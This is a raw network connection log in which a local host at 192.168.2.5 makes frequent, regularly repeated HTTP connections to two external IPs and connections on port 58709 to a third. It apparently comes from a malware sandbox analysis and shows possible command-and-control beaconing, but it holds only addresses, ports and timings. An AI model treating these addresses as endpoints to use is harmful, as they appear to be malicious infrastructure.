Jun 20, 2024 15:38:45.074132919 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:45.075644016 CEST	80	49823	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:45.093136072 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:45.093226910 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.095905066 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.100981951 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:45.303520918 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:45.303605080 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.417233944 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.417548895 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.423635006 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:45.423743963 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.423945904 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:45.424097061 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.424117088 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:45.429066896 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:45.794588089 CEST	80	49823	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:45.794691086 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.796372890 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.805169106 CEST	80	49823	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:46.056154966 CEST	80	49823	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:46.056231976 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.136950016 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:46.137073040 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.137772083 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.142852068 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:46.170988083 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.171245098 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.178075075 CEST	80	49825	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:46.178165913 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.178318024 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.178476095 CEST	80	49823	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:46.178536892 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.183319092 CEST	80	49825	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:46.345873117 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:46.345954895 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.519071102 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.522294998 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.524498940 CEST	80	49824	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:46.524559021 CEST	49824	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.527283907 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:46.527390957 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.529417038 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:46.534847021 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:46.907643080 CEST	80	49825	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:46.907713890 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.908355951 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:46.914995909 CEST	80	49825	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:47.134934902 CEST	80	49825	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:47.135020971 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:47.199520111 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:47.199613094 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.200239897 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.205600977 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:47.251070023 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:47.251353979 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:47.270593882 CEST	80	49827	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:47.270620108 CEST	80	49825	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:47.270704985 CEST	49825	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:47.270706892 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:47.270890951 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:47.282488108 CEST	80	49827	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:47.421070099 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:47.421181917 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.533348083 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.533781052 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.541940928 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:47.541963100 CEST	80	49826	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:47.542037010 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.542108059 CEST	49826	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.542267084 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:47.547251940 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:47.997881889 CEST	80	49827	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:47.997958899 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:47.998976946 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:48.003848076 CEST	80	49827	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:48.218755960 CEST	80	49827	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:48.218837023 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:48.228208065 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:48.228277922 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.228864908 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.261549950 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:48.328088045 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:48.328355074 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:48.333462954 CEST	80	49827	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:48.333477974 CEST	80	49829	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:48.333519936 CEST	49827	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:48.333549976 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:48.333693027 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:48.340910912 CEST	80	49829	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:48.456739902 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:48.463725090 CEST	58709	49830	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:48.463841915 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:48.473123074 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:48.473207951 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.486766100 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:48.492147923 CEST	58709	49830	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:48.579124928 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.579391003 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.586257935 CEST	80	49828	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:48.586272001 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:48.586327076 CEST	49828	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.586379051 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.586499929 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:48.591475964 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:49.059122086 CEST	80	49829	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:49.059211016 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.059942007 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.067862034 CEST	80	49829	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:49.068046093 CEST	58709	49830	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:49.122199059 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:49.267971039 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:49.268107891 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.269150972 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.275279999 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:49.286609888 CEST	80	49829	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:49.286952972 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.402620077 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.405056953 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.410583973 CEST	80	49829	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:49.410684109 CEST	49829	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.411261082 CEST	80	49832	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:49.411396027 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.411931992 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:49.417138100 CEST	80	49832	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:49.480490923 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:49.480575085 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.594383001 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.594757080 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.599911928 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:49.600146055 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.600146055 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.603130102 CEST	80	49831	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:49.603214979 CEST	49831	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:49.605060101 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:50.115070105 CEST	80	49832	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:50.115134954 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.115809917 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.120929956 CEST	80	49832	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:50.274097919 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:50.274185896 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.274863005 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.282041073 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:50.334558010 CEST	80	49832	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:50.334685087 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.436347961 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.436640024 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.441641092 CEST	80	49834	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:50.441772938 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.441904068 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.442001104 CEST	80	49832	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:50.442054987 CEST	49832	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:50.449400902 CEST	80	49834	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:50.484236956 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:50.484381914 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.597189903 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.597626925 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.602606058 CEST	80	49833	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:50.602617979 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:50.602665901 CEST	49833	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.602721930 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.602866888 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:50.607654095 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:51.153000116 CEST	80	49834	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:51.153536081 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.173650980 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.178690910 CEST	80	49834	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:51.274699926 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:51.274797916 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.275429010 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.280348063 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:51.396851063 CEST	80	49834	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:51.397464991 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.482438087 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:51.482646942 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.502796888 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.503520012 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.511193037 CEST	80	49834	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:51.511256933 CEST	49834	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.511308908 CEST	80	49836	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:51.511408091 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.511555910 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:51.517493010 CEST	80	49836	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:51.597945929 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.598215103 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.605024099 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:51.605123043 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.605407953 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.605541945 CEST	80	49835	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:51.605654955 CEST	49835	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:51.613684893 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.202012062 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:52.202024937 CEST	80	49836	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:52.202071905 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.202703953 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.206979990 CEST	58709	49830	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:52.210424900 CEST	80	49836	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:52.305391073 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.306715012 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.307413101 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.529838085 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.578459024 CEST	80	49836	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:52.578574896 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.583831072 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.583905935 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.689766884 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.690171957 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.819700003 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.826306105 CEST	80	49836	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:52.828876972 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.836704016 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.837519884 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.837644100 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.837658882 CEST	80	49838	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:52.837687969 CEST	80	49836	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:52.837743998 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.837770939 CEST	49836	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.837949991 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:52.842839956 CEST	80	49838	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:52.952296972 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.952572107 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.957570076 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.957650900 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.957783937 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.958434105 CEST	80	49837	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:52.958492994 CEST	49837	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:52.963520050 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:53.526689053 CEST	80	49838	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:53.528399944 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.529000998 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.534080982 CEST	80	49838	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:53.646284103 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:53.648900986 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.651030064 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.655982971 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:53.686465979 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:53.691301107 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:53.745171070 CEST	80	49838	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:53.745461941 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.858563900 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.858865976 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.862525940 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:53.862610102 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.864522934 CEST	80	49840	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:53.864608049 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.864773035 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.865288019 CEST	80	49838	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:53.865350962 CEST	49838	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:53.876676083 CEST	80	49840	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:53.968071938 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.968369961 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.973478079 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:53.973571062 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.973712921 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.974347115 CEST	80	49839	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:53.974404097 CEST	49839	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:53.979458094 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:54.281452894 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:54.288881063 CEST	58709	49842	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:54.288963079 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:54.316314936 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:54.321257114 CEST	58709	49842	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:54.565877914 CEST	80	49840	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:54.565947056 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.566658974 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.571700096 CEST	80	49840	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:54.611991882 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:54.612019062 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:54.612092018 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:54.612461090 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:54.612473011 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:54.641493082 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:54.641566992 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.642194986 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.647078037 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:54.785772085 CEST	80	49840	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:54.785911083 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.828972101 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:54.849937916 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:54.850138903 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.874147892 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:54.890274048 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.890557051 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.890574932 CEST	58709	49842	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:54.895611048 CEST	80	49840	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:54.895668030 CEST	80	49844	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:54.895672083 CEST	49840	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.895745993 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.895874977 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:54.900862932 CEST	80	49844	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:54.905519962 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:54.910315990 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:54.936053991 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:54.951838017 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.952090979 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.959248066 CEST	80	49841	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:54.959314108 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:54.959331036 CEST	49841	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.959446907 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.959512949 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:54.964426041 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:55.400465965 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.400533915 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.402375937 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.402388096 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.402719975 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.413568974 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.456499100 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.579066992 CEST	80	49844	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:55.579124928 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.580009937 CEST	49844	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:55.585120916 CEST	80	49844	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:55.637665033 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:55.637767076 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.638591051 CEST	49845	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:55.643502951 CEST	80	49845	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:55.735631943 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.735662937 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.735682011 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.735749006 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.735769987 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.735980034 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.737009048 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.737068892 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.737096071 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.737147093 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.737164021 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.737214088 CEST	443	49843	40.68.123.157	192.168.2.5
Jun 20, 2024 15:38:55.737257004 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.760869980 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.760869980 CEST	49843	443	192.168.2.5	40.68.123.157
Jun 20, 2024 15:38:55.760890007 CEST	443	49843	40.68.123.157	192.168.2.5
